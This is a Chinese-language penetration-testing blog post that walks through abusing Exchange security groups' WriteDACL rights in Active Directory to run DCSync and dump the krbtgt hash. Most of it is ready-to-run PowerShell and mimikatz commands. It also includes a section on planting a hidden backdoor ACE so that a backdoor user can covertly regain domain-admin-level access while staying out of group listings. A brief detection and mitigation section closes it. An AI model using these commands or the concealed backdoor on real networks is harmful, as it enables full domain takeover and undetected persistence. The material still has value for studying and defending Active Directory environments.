域渗透——使用 Exchange 服务器中特定的 ACL 实现域提权

发布于 2024-09-13 04:57:27 字数 10506 浏览 14 评论 0

0x00

最近学到的一个域环境下的提权技巧,在域环境中,安装 Exchange 后会添加一个名为 Microsoft Exchange Security Groups 的 OU,其中包括两个特殊的组: Exchange Trusted SubsystemExchange Windows Permission ,如果获得了这两个组内任意用户的控制权限,就能够继承该组的 WriteDACL 权限,进而修改域对象的 ACL,最终实现利用 DCSync 导出域内所有用户 hash。接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限。

学习资料:https://github.com/gdedrouas/Exchange-AD-Privesc

本文将会记录复现过程,介绍利用这个机制建立提权后门的方法,详细介绍使用 PowerView 对域对象 ACL 的操作方法,最后给出检测和防御建议。

0x01 简介

本文将要介绍以下内容:

  • 提权方法复现
  • 建立提权后门的方法
  • 检测和防御建议

0x02 提权方法复现

测试环境:

  • Server2012R2 x64
  • Exchange 2013

前置知识

1.常用缩写词

  • DN:Distinguished Name
  • CN:Common Name
  • OU:Organizational Unit
  • DC:Domain Component
  • ACE:Access Control Entries
  • ACL:Access Control List

LDAP 连接服务器的连接字串格式为:ldap://servername/DN

其中 DN 有三个属性,分别是 CN、OU 和 DC

2.安装 Exchange 后默认会自动添加一个名为 Microsoft Exchange Security Groups 的 OU

如下图

Alt text

其中包括两个特殊的组: Exchange Trusted SubsystemExchange Windows Permission

Exchange Trusted SubsystemExchange Windows Permission 的成员

如下图

Alt text

默认情况下, Exchange Windows Permissions 对安装 Exchange 的域对象具有 WriteDACL 权限,那么 Exchange Trusted Subsystem 也会继承这个权限

3.如果对域对象具有 WriteDACL 权限,就能够为指定域用户添加 ACE,使其获得利用 DCSync 导出域内所有用户 hash 的权限,接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限

详细利用方法可参考之前的文章: 《域渗透——DCSync》

4.使用 PowerView 能够对域对象的 ACL 进行操作

值得注意的是 PowerView 存在两个版本,有些功能只在 dev 版本中支持,两个版本的地址分别为:

这个细节在之前的文章 《域渗透——AdminSDHolder》 有过介绍

实际测试

这里以 Exchange Trusted Subsystem 作为测试对象,测试用户 testa 的口令已经获得,先将测试用户 testa 添加到 Exchange Trusted Subsystem

Powershell 命令如下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

对于未安装 Active Directory 模块的 Windows 系统,可以通过如下命令导入 Active Directory 模块:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

Microsoft.ActiveDirectory.Management.dll 在安装 powershell 模块 Active Directory 后生成,我已经提取出来并上传至 github:https://github.com/3gstudent/test/blob/master/Microsoft.ActiveDirectory.Management.dll

添加成功后如下图

Alt text

接下来,在另一台域内主机上完成所有提权的操作

1.登录用户 testa

cmd:

echo 123456789 | runas /user:test\testa cmd

如果在测试过程中,第一次将测试用户 testa 添加到 Exchange Trusted Subsystem 中,那么用户 testa 需要重新登录才能继承 WriteDACL 权限

查看用户 testa 所在的组:

whoami /groups

发现用户 testa 成功加入 Exchange Trusted Subsystem 组,如下图

Alt text

2.使用 mimikatz 的 DCSync 功能导出用户 krbtgt 的 hash

cmd:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

成功导出用户 krbtgt 的 hash,如下图

Alt text

接下来可以使用域用户 krbtgt 的 hash 制作 Golden Ticket,登录域控制器,获得对整个域的控制权限

提权成功

经过多次测试,得出以下结论:

如果获得了以下三个组内任意用户的权限,都能够利用 DCSync 导出域内所有用户 hash

组名如下:

  • Exchange Trusted Subsystem
  • Exchange Windows Permission
  • Organization Management

0x03 建立提权后门的方法

如果获得了整个域的控制权限,可以利用 Exchange 中的 ACL 作为域提权的后门

方法 1:直接在 Exchange 的三个组内添加后门用户

这里以 Exchange Trusted Subsystem 为例

Powershell 命令如下:

Import-Module ActiveDirectory
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testa

但是不够隐蔽,很容易被发现添加的用户

查看的命令如下:

net group "Exchange Trusted Subsystem" /domain

方法 2:只添加特定用户对 Exchange 中三个组 ACL 的控制权限

这里以 Exchange Trusted Subsystem 为例

1.首先需要找到 Exchange Trusted Subsystem 的 DN(Distinguished Name)

需要使用 Powerview 的 dev 版本,地址如下:https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

查看所有 DN 的 Powershell 命令如下:

Import-Module .\PowerView.ps1
Get-DomainObject -Properties distinguishedname |fl

找到 Exchange Trusted Subsystem 的 DN 为: CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com

2.查看 Exchange Trusted Subsystem 的 ACL

Powershell 命令如下:

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com"

3.获得 Exchange Trusted Subsystem 的原始数据

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw

4.添加后门用户 testb 对 Exchange Trusted Subsystem 的完全访问权限

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.AddAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

补充:

移除后门用户 testb 对 Exchange Trusted Subsystem 的完全访问权限:

$RawObject = Get-DomainObject -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" -Raw
$TargetObject = $RawObject.GetDirectoryEntry()
$ACE = New-ADObjectAccessControlEntry -InheritanceType All -AccessControlType Allow -PrincipalIdentity testb -Right AccessSystemSecurity,CreateChild,Delete,DeleteChild,DeleteTree,ExtendedRight,GenericAll,GenericExecute,GenericRead,GenericWrite,ListChildren,ListObject,ReadControl,ReadProperty,Self,Synchronize,WriteDacl,WriteOwner,WriteProperty
$TargetObject.PsBase.ObjectSecurity.RemoveAccessRule($ACE)
$TargetObject.PsBase.CommitChanges()

5.查看用户 testb 的 sid

Get-DomainUser testb

如下图

Alt text

用户 testb 的 objectsid 为 S-1-5-21-1672228480-1396590849-334771951-2105

6.查看属于新添加用户 testb 的 ACE

Get-DomainObjectAcl -SearchBase "LDAP://CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=test,DC=com" | Where-Object {$_.SecurityIdentifier -eq "S-1-5-21-1672228480-1396590849-334771951-2105"}

如下图

Alt text

至此,后门安装成功

此时查看 Exchange Trusted Subsystem 组的用户:

net group "Exchange Trusted Subsystem" /domain

无法发现后门用户 testb

后门启动方法

1.在另一台域内主机上登录用户 testb

cmd:

echo 123456789 | runas /user:test\testb cmd

2.将用户 testb 添加到 Exchange Trusted Subsystem

由于用户 testb 有对 Exchange Trusted Subsystem 的完全访问权限,所以能够将自己添加到 Exchange Trusted Subsystem 组中

Powershell 命令如下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Add-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb

3.重新登录用户 testb

cmd:

echo 123456789 | runas /user:test\testb cmd

4.使用 mimikatz 的 DCSync 功能导出用户 krbtgt 的 hash

cmd:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:test.com /user:krbtgt /csv" exit

5.将用户 testb 从 Exchange Trusted Subsystem 组中移除

Powershell 命令如下:

import-module .\Microsoft.ActiveDirectory.Management.dll
Remove-ADGroupMember -Identity "Exchange Trusted Subsystem" -Members testb -confirm:$false

由于用户 testb 具有对 Exchange Trusted Subsystem 的完全访问权限,所以能够反复将自己添加或是移除 Exchange Trusted Subsystem

0x04 检测和防御建议

从根源上修复:去除 Exchange Windows Permissions 的 WriteDACL 权限

可供参考的脚本:https://github.com/gdedrouas/Exchange-AD-Privesc/blob/master/DomainObject/Fix-DomainObjectDACL.ps1

日志检测:

需要开启 Active Directory 的高级安全审核策略,当域对象的 ACL 被修改后,将产生 ID 为 5136 的日志

参考资料:https://blogs.technet.microsoft.com/canitpro/2017/03/29/step-by-step-enabling-advanced-security-audit-policy-via-ds-access/

0x05 小结

本文记录了使用 Exchange 中特定 ACL 进行提权的过程,分析了利用条件,结合这个机制介绍了一个提权后门的利用方法,最后给出检测和防御建议。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据

关于作者

匿名。

暂无简介

0 文章
0 评论
24 人气
更多

推荐作者

懂王

文章 0 评论 0

清秋悲枫

文章 0 评论 0

niceone-tech

文章 0 评论 0

小伙你站住

文章 0 评论 0

刘涛

文章 0 评论 0

南街九尾狐

文章 0 评论 0

    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文